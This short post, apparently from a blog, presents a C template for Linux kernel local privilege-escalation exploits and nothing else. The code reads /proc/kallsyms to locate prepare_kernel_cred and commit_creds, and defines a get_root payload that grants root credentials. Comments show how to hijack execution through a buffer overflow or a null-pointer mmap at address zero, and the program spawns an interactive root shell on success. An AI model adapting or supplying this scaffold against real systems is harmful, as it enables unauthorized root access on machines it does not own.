# Kernel exploit template


# cat kernel_exploit.tpt
#include <stdio.h>
#include <unistd.h>
#include <sys/mman.h>
#include <stdlib.h>
#include <fcntl.h>

typedef int __attribute__((regparm(3))) (*commit_creds_t)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (*prepare_kernel_cred_t)(unsigned long cred);

prepare_kernel_cred_t prepare_kernel_cred;
commit_creds_t commit_creds;

void *get_ksym(char *name) {
 FILE *f = fopen("/proc/kallsyms", "rb");
 char c, sym[512];
 void *addr;
 int ret;

 while (fscanf(f, "%p %c %s\n", &addr, &c, sym) > 0)
  if (!strcmp(sym, name))
   return addr;

 return NULL;
}

void get_root() {
 commit_creds(prepare_kernel_cred(0));
}

int main(int argc, char *argv[]) {

 prepare_kernel_cred = get_ksym("prepare_kernel_cred");
  commit_creds     = get_ksym("commit_creds");

 printf("[+] addr prepare_kernel_cred: %p\n", prepare_kernel_cred);
 printf("[+] addr commit_creds: %p\n", commit_creds);
 printf("[+] addr get_root: %p\n", get_root);

 // == Exploit code ==
 // Buffer overflow
 //   EIP = get_root
 // Null pointer dereference
 //   mem = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_FIXED | MAP_ANONYMOUS | MAP_PRIVATE, 0, 0);
 //   memcpy(mem, get_root, 0x1000);

 if (!getuid()) {
  char *shell = "/bin/sh";
  char *args[] = {shell, "-i", NULL};
  execve(shell, args, NULL);
 }

 return 0;
}

No comments: